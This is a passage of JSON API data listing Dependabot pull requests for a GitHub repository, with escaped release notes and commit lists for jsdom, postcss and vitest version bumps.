href=\"https://github.com/asamuzaK\"\u003e\u003ccode\u003e@​asamuzaK\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/058c0f55f369a70bcb113d660ae562b9066f2d44\"\u003e\u003ccode\u003e058c0f5\u003c/code\u003e\u003c/a\u003e 30.1.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/fcd1fd186401a01a754d124259bf3462ebde29e1\"\u003e\u003ccode\u003efcd1fd1\u003c/code\u003e\u003c/a\u003e Cascade parsed longhands independently\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/a3ee78607d8b148c252ccf0626e10eed63ee3e49\"\u003e\u003ccode\u003ea3ee786\u003c/code\u003e\u003c/a\u003e Cascade computed style properties on demand\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/f42dc159106131691e16b6af6303a2291f4649e2\"\u003e\u003ccode\u003ef42dc15\u003c/code\u003e\u003c/a\u003e Resolve colors before caching or using currentcolor\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/074b1fb31d0eceeb3cd8cf4a97a4ce9e2b26643c\"\u003e\u003ccode\u003e074b1fb\u003c/code\u003e\u003c/a\u003e Compute background-position lengths against the final font size\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/d19598cd3b306b349f7f37d146b83a611f30e3c2\"\u003e\u003ccode\u003ed19598c\u003c/code\u003e\u003c/a\u003e Apply style rules nested in multiple \u003ca href=\"https://github.com/media\"\u003e\u003ccode\u003e@​media\u003c/code\u003e\u003c/a\u003e rules\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/45d626c988603e102bf4633d853d9069c88ac653\"\u003e\u003ccode\u003e45d626c\u003c/code\u003e\u003c/a\u003e Rule out attribute selector subjects before matching\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/3ff0a5b986cb9e852c9ee53784c7e06b83f72f2c\"\u003e\u003ccode\u003e3ff0a5b\u003c/code\u003e\u003c/a\u003e Upgrade Undici and remove abort workarounds\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/8813bb1b0ad45a822fe2d537f2613c292f9bf63a\"\u003e\u003ccode\u003e8813bb1\u003c/code\u003e\u003c/a\u003e Ignore CSS declarations with unparseable math functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jsdom/jsdom/commit/63712d8c66cad4db5e4691fd86e4de95d73c6642\"\u003e\u003ccode\u003e63712d8\u003c/code\u003e\u003c/a\u003e Fix XHR credentials across redirects\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jsdom/jsdom/compare/v30.1.2...v30.1.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.30 to 8.5.31\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/code\u003e escaping (by \u003ca href=\"https://github.com/firefoxic\"\u003e\u003ccode\u003e@​firefoxic\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.31\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix better source map on \u003ccode\u003e\u0026lt;/style\u0026gt;\u003c/c...\n\n_Description has been truncated_","html_url":"https://github.com/kkrzysztofik/Anyka_ak3918_hacking_journey/pull/148","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/kkrzysztofik%2FAnyka_ak3918_hacking_journey/issues/148","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/148/packages"}},{"old_version":"4.1.11","new_version":"5.0.5","update_type":"major","path":null,"pr_created_at":"2026-10-23T13:19:11.000Z","version_change":"4.1.11 → 5.0.5","issue":{"uuid":"5998513435","node_id":"PR_kwDOG9j5288AAAABKQggFA","number":47,"state":"open","title":"chore(deps-dev): bump vitest from 4.1.11 to 5.0.5","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-10-23T13:19:11.000Z","updated_at":"2026-10-23T13:19:16.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev)","packages":[{"name":"vitest","old_version":"4.1.11","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"}],"path":null,"ecosystem":"npm"},"body":"Bumps [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) from 4.1.11 to 5.0.5.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.0.5\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKeep vite default \u003ccode\u003efs.deny\u003c/code\u003e with api token file  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11578\"\u003evitest-dev/vitest#11578\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/28dc1edfb\"\u003e\u003c!-- raw HTML omitted --\u003e(28dc1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle quoted file names in \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11583\"\u003evitest-dev/vitest#11583\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/14921e962\"\u003e\u003c!-- raw HTML omitted --\u003e(14921)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003edata\u003c/code\u003e to the \u003ccode\u003eimport.meta.hot\u003c/code\u003e stub  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11590\"\u003evitest-dev/vitest#11590\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/3a8289ac3\"\u003e\u003c!-- raw HTML omitted --\u003e(3a828)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSet \u003ccode\u003eskip\u003c/code\u003e in \u003ccode\u003eskipIf\u003c/code\u003e, ignore \u003ccode\u003eundefined\u003c/code\u003e options  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11591\"\u003evitest-dev/vitest#11591\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/d523a15f2\"\u003e\u003c!-- raw HTML omitted --\u003e(d523a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSkip builtin loading in async leak detector  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11598\"\u003evitest-dev/vitest#11598\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/fe86a64c6\"\u003e\u003c!-- raw HTML omitted --\u003e(fe86a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep the import frame in native loader errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11599\"\u003evitest-dev/vitest#11599\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894\"\u003e\u003c!-- raw HTML omitted --\u003e(9697b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun hook cleanups when a later hook fails  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11605\"\u003evitest-dev/vitest#11605\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a44720\"\u003e\u003c!-- raw HTML omitted --\u003e(6c5a4)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRelease mocks of finished test files  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11607\"\u003evitest-dev/vitest#11607\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0\"\u003e\u003c!-- raw HTML omitted --\u003e(e9c3d)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbort all running tests on cancel  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11606\"\u003evitest-dev/vitest#11606\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6\"\u003e\u003c!-- raw HTML omitted --\u003e(6621a)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eIgnore synthetic pagehide events  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11582\"\u003evitest-dev/vitest#11582\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ca0813584\"\u003e\u003c!-- raw HTML omitted --\u003e(ca081)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun plugin buildStart on server creation  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11593\"\u003evitest-dev/vitest#11593\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ea611e44c\"\u003e\u003c!-- raw HTML omitted --\u003e(ea611)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDrop late connections of closed sessions  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11600\"\u003evitest-dev/vitest#11600\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2\"\u003e\u003c!-- raw HTML omitted --\u003e(f161e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWait 30s for the browser to close  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11601\"\u003evitest-dev/vitest#11601\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a\"\u003e\u003c!-- raw HTML omitted --\u003e(6498b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun global setup once with instances  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11596\"\u003evitest-dev/vitest#11596\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c262\"\u003e\u003c!-- raw HTML omitted --\u003e(8dd67)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ereporter\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eEnd reason \u003ccode\u003e\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);failed\u0026amp;[#39](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/39);\u003c/code\u003e on worker crash  -  by \u003ca href=\"https://github.com/AriPerkkio\"\u003e\u003ccode\u003e@​AriPerkkio\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11568\"\u003evitest-dev/vitest#11568\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6ae8e89ff\"\u003e\u003c!-- raw HTML omitted --\u003e(6ae8e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v5.0.4...v5.0.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev5.0.4\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eexperimental\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003eTag cache directories with CACHEDIR.TAG  -  by \u003ca href=\"https://github.com/lifeiscontent\"\u003e\u003ccode\u003e@​lifeiscontent\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11461\"\u003evitest-dev/vitest#11461\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a8ea3c8fd\"\u003e\u003c!-- raw HTML omitted --\u003e(a8ea3)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSupport \u003ccode\u003etest.ui.theme\u003c/code\u003e option  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11499\"\u003evitest-dev/vitest#11499\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/1da66405d\"\u003e\u003c!-- raw HTML omitted --\u003e(1da66)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHighlight selector multiple matches in trace view  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11489\"\u003evitest-dev/vitest#11489\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/5abba1e1b\"\u003e\u003c!-- raw HTML omitted --\u003e(5abba)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePrint how many tests were affected and a total when running \u003ccode\u003e--changed\u003c/code\u003e  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11424\"\u003evitest-dev/vitest#11424\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/a23368585\"\u003e\u003c!-- raw HTML omitted --\u003e(a2336)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd an option to cache dependencies instead of statically parsing them  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11515\"\u003evitest-dev/vitest#11515\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/c06012ac8\"\u003e\u003c!-- raw HTML omitted --\u003e(c0601)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fit and zoom controls to trace viewer  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11490\"\u003evitest-dev/vitest#11490\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/f5dd99ed0\"\u003e\u003c!-- raw HTML omitted --\u003e(f5dd9)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFail the run on git and location filter errors  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11430\"\u003evitest-dev/vitest#11430\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/30d0304d2\"\u003e\u003c!-- raw HTML omitted --\u003e(30d03)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eEnable fsModuleCache by default  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11435\"\u003evitest-dev/vitest#11435\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/ad208cc29\"\u003e\u003c!-- raw HTML omitted --\u003e(ad208)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eTrack project files and mocks with --changed  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11432\"\u003evitest-dev/vitest#11432\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b0f2b3bb9\"\u003e\u003c!-- raw HTML omitted --\u003e(b0f2b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor caching, fix \u003ccode\u003e:\u003c/code\u003e in project and change the shape of \u003ccode\u003eresults\u003c/code\u003e cache  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11453\"\u003evitest-dev/vitest#11453\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/9673c49a4\"\u003e\u003c!-- raw HTML omitted --\u003e(9673c)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep full \u003ccode\u003e$\u003c/code\u003e string values when \u003ccode\u003etaskTitleValueFormatTruncate\u003c/code\u003e is 0  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11485\"\u003evitest-dev/vitest#11485\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4f7e1799b\"\u003e\u003c!-- raw HTML omitted --\u003e(4f7e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve node builtins in client environments  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11417\"\u003evitest-dev/vitest#11417\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/56b319ac6\"\u003e\u003c!-- raw HTML omitted --\u003e(56b31)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix module graph builtin externals after \u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11421\"\u003e#11421\u003c/a\u003e  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eClaude Opus 5.5\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11491\"\u003evitest-dev/vitest#11491\u003c/a\u003e and \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11421\"\u003evitest-dev/vitest#11421\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/008e184cb\"\u003e\u003c!-- raw HTML omitted --\u003e(008e1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrap module mocks during in-source testing  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11505\"\u003evitest-dev/vitest#11505\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/36d19cb00\"\u003e\u003c!-- raw HTML omitted --\u003e(36d19)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandle line endings in snapshot  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11522\"\u003evitest-dev/vitest#11522\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/4c468aa40\"\u003e\u003c!-- raw HTML omitted --\u003e(4c468)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRespect root in projects  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11521\"\u003evitest-dev/vitest#11521\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/26642f793\"\u003e\u003c!-- raw HTML omitted --\u003e(26642)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eResolve mocks in directories with spaces  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11539\"\u003evitest-dev/vitest#11539\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/caaef9416\"\u003e\u003c!-- raw HTML omitted --\u003e(caaef)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e:\n\u003cul\u003e\n\u003cli\u003ePublish the api token atomically  -  by \u003ca href=\"https://github.com/umairnawaz333\"\u003e\u003ccode\u003e@​umairnawaz333\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/11323\"\u003evitest-dev/vitest#11323\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/6f990fef1\"\u003e\u003c!-- raw HTML omitted --\u003e(6f990)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/7a825db43e2beca0b219d2eadaec334cb81af0c7\"\u003e\u003ccode\u003e7a825db\u003c/code\u003e\u003c/a\u003e chore: release v5.0.5 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11609\"\u003e#11609\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6621a72d6ed371e43f80ff327f5063693bd6b1ad\"\u003e\u003ccode\u003e6621a72\u003c/code\u003e\u003c/a\u003e fix: abort all running tests on cancel (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11606\"\u003e#11606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/e9c3d72f0c8d6867de06a3df43ea28a05eeec444\"\u003e\u003ccode\u003ee9c3d72\u003c/code\u003e\u003c/a\u003e fix: release mocks of finished test files (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11607\"\u003e#11607\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/8dd67c2625943d824e257b87ae57a14094e90eed\"\u003e\u003ccode\u003e8dd67c2\u003c/code\u003e\u003c/a\u003e fix(browser): run global setup once with instances (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11596\"\u003e#11596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6c5a447203a29a0708fbc5de4fb91ea501bdc395\"\u003e\u003ccode\u003e6c5a447\u003c/code\u003e\u003c/a\u003e fix: run hook cleanups when a later hook fails (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11605\"\u003e#11605\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/9697b3894f456b85db91f3824ebe833449305c04\"\u003e\u003ccode\u003e9697b38\u003c/code\u003e\u003c/a\u003e fix: keep the import frame in native loader errors (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11599\"\u003e#11599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/6498b666a3ae8961f6f2a8abdc89015b6fd0b3aa\"\u003e\u003ccode\u003e6498b66\u003c/code\u003e\u003c/a\u003e fix(browser): wait 30s for the browser to close (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/11601\"\u003e#11601\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/f161e6df2b3c0bc84982d374094379139e380791\"\u003e\u003ccode\u003ef161e6d\u003c/code\u003e\u003c/a\u003e fix(browser): drop late connections of closed sessions (\u003ca 